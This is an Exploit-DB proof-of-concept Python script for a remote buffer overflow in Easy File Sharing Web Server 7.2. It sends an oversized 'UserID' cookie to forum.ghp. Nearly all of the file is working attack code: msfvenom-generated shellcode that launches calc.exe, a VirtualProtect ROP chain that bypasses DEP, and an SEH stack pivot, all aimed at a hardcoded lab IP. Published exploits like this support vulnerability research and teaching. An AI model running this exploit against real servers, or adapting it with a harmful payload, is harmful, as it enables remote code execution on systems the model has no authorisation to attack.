Easy File Sharing Web Server 7.2 - 'UserID' Remote Buffer Overflow (DEP Bypass)

EDB-ID:

44522


Platform:

Windows

Published:

2018-04-24

#!/usr/bin/env python
#---------------------------------------------------------------------------------------------------#
# Exploit Title   : Easy File Sharing Web Server 7.2 - 'UserID' Remote Buffer Overflow (DEP Bypass) #
# Date            : 04/24/2018                                                                      #
# Exploit Author  : Hashim Jawad                                                                    #
# Twitter         : @ihack4falafel                                                                  #
# Author Website  : ihack4falafel[.]com                                                             #
# Vendor Homepage : http://www.sharing-file.com/                                                    #
# Software Link   : http://www.sharing-file.com/efssetup.exe                                        #
# Original Exploit: https://www.exploit-db.com/exploits/44485/                                      #
# Tested on       : Windows 7 Enterprise (x86) - Service Pack 1                                     # 
#---------------------------------------------------------------------------------------------------#

import requests
import struct
import time

host='192.168.80.148'
port='80'

# badchars = "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e"
# root@kali:~# msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -v shellcode -f python
# Payload size: 447 bytes

shellcode =  ""
shellcode += "\x89\xe3\xd9\xe5\xd9\x73\xf4\x5a\x4a\x4a\x4a\x4a"
shellcode += "\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43"
shellcode += "\x43\x37\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41"
shellcode += "\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42"
shellcode += "\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49"
shellcode += "\x6c\x6b\x58\x4e\x62\x63\x30\x57\x70\x77\x70\x53"
shellcode += "\x50\x6e\x69\x6b\x55\x64\x71\x39\x50\x50\x64\x6e"
shellcode += "\x6b\x42\x70\x64\x70\x6c\x4b\x43\x62\x36\x6c\x6e"
shellcode += "\x6b\x43\x62\x75\x44\x6e\x6b\x52\x52\x64\x68\x46"
shellcode += "\x6f\x38\x37\x50\x4a\x76\x46\x64\x71\x4b\x4f\x4e"
shellcode += "\x4c\x77\x4c\x35\x31\x61\x6c\x77\x72\x76\x4c\x37"
shellcode += "\x50\x4a\x61\x5a\x6f\x74\x4d\x37\x71\x39\x57\x38"
shellcode += "\x62\x5a\x52\x30\x52\x66\x37\x6e\x6b\x50\x52\x62"
shellcode += "\x30\x6c\x4b\x62\x6a\x57\x4c\x6c\x4b\x52\x6c\x47"
shellcode += "\x61\x74\x38\x6d\x33\x71\x58\x43\x31\x38\x51\x50"
shellcode += "\x51\x6c\x4b\x33\x69\x67\x50\x35\x51\x48\x53\x6e"
shellcode += "\x6b\x57\x39\x75\x48\x69\x73\x54\x7a\x63\x79\x4e"
shellcode += "\x6b\x35\x64\x6c\x4b\x35\x51\x6a\x76\x46\x51\x39"
shellcode += "\x6f\x6e\x4c\x6f\x31\x48\x4f\x44\x4d\x36\x61\x48"
shellcode += "\x47\x34\x78\x6b\x50\x74\x35\x69\x66\x73\x33\x73"
shellcode += "\x4d\x49\x68\x55\x6b\x43\x4d\x47\x54\x74\x35\x68"
shellcode += "\x64\x63\x68\x4e\x6b\x46\x38\x66\x44\x33\x31\x59"
shellcode += "\x43\x61\x76\x6c\x4b\x66\x6c\x50\x4b\x4c\x4b\x50"
shellcode += "\x58\x47\x6c\x65\x51\x69\x43\x6c\x4b\x63\x34\x6e"
shellcode += "\x6b\x43\x31\x68\x50\x4e\x69\x61\x54\x65\x74\x65"
shellcode += "\x74\x51\x4b\x51\x4b\x73\x51\x73\x69\x62\x7a\x42"
shellcode += "\x71\x69\x6f\x39\x70\x51\x4f\x73\x6f\x43\x6a\x4e"
shellcode += "\x6b\x52\x32\x78\x6b\x4e\x6d\x31\x4d\x53\x5a\x67"
shellcode += "\x71\x6c\x4d\x4f\x75\x48\x32\x57\x70\x77\x70\x43"
shellcode += "\x30\x66\x30\x61\x78\x46\x51\x6e\x6b\x70\x6f\x6e"
shellcode += "\x67\x59\x6f\x6b\x65\x4f\x4b\x78\x70\x6d\x65\x39"
shellcode += "\x32\x50\x56\x73\x58\x6c\x66\x6c\x55\x4d\x6d\x6d"
shellcode += "\x4d\x49\x6f\x49\x45\x65\x6c\x45\x56\x73\x4c\x45"
shellcode += "\x5a\x6b\x30\x6b\x4b\x39\x70\x53\x45\x34\x45\x4d"
shellcode += "\x6b\x42\x67\x65\x43\x63\x42\x70\x6f\x50\x6a\x37"
shellcode += "\x70\x66\x33\x6b\x4f\x69\x45\x30\x63\x35\x31\x72"
shellcode += "\x4c\x65\x33\x76\x4e\x75\x35\x42\x58\x45\x35\x67"
shellcode += "\x70\x41\x41"

# 4059 bytes to nSEH offset [filler + ROP + shellcode + filler]
buffer  = '\x41' * (2647-128)                # filler to where ESP will point after stack pivot (see SEH gadget)

# mona.py VirtualProtect() ROP template with few modifications 

# ESI = ptr to VirtualProtect()
buffer += struct.pack('<L', 0x10015442)      # POP EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c832d0)      # ptr to &VirtualProtect() [IAT sqlite3.dll]
buffer += struct.pack('<L', 0x1002248c)      # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c18d81)      # XCHG EAX,EDI # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x1001d626)      # XOR ESI,ESI # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x10021a3e)      # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll]

# EBP = ReturnTo (ptr to jmp esp)
buffer += struct.pack('<L', 0x1001add7)      # POP EBP # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c24169)      # & push esp # ret  [sqlite3.dll]

# EDX = NewProtect (0x40)
buffer += struct.pack('<L', 0x10022c4c)       # XOR EDX,EDX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0)       # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]

# ECX = lpOldProtect (ptr to W address)
buffer += struct.pack('<L', 0x1001b377)      # POP ECX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c730ad)      # &Writable location [sqlite3.dll]

# EBX = dwSize (0x00000501)
buffer += struct.pack('<L', 0x10015442)	     # POP EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0xfffffaff)      # will become 0x00000501 after negate
buffer += struct.pack('<L', 0x100231d1)	     # NEG EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x1001da09)      # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x1001a858)      # RETN (ROP NOP) [ImageLoad.dll]
buffer += struct.pack('<L', 0x1001a858)      # RETN (ROP NOP) [ImageLoad.dll]
buffer += struct.pack('<L', 0x10015442)	     # POP EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c730ad)      # &Writable location [sqlite3.dll]

# EDI = ROP NOP (RETN)
buffer += struct.pack('<L', 0x10019f47)      # POP EDI # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x1001a858)      # RETN (ROP NOP) [ImageLoad.dll]

# EAX = NOP (0x90909090)
buffer += struct.pack('<L', 0x10015442)      # POP EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x90909090)      # nop
buffer += struct.pack('<L', 0x100240c2)      # PUSHAD # RETN [ImageLoad.dll]

buffer += "\x90" * 50                        # nop
buffer += shellcode                          # calc.exe
buffer += "\x90" * 50                        # nop

buffer += '\x45' * (1412-(4*88)+128-len(shellcode)-100) 
buffer += '\x42' * 4                         # nSEH filler

# stack pivot that will land somewhere in buffer of As
buffer += struct.pack('<L', 0x10022869)      # SEH ADD ESP,1004 # RETN [ImageLoad.dll]

buffer += '\x44' * (5000-4059-4-4)

print "[+] Sending %s bytes of evil payload.." %len(buffer)
time.sleep(1)

try:
	cookies = dict(SESSIONID='6771', UserID=buffer,PassWD='')
	data=dict(frmLogin='',frmUserName='',frmUserPass='',login='')
	requests.post('http://'+host+':'+port+'/forum.ghp',cookies=cookies,data=data)
except:
	print "The server stopped responding. You should see calc.exe by now ;D"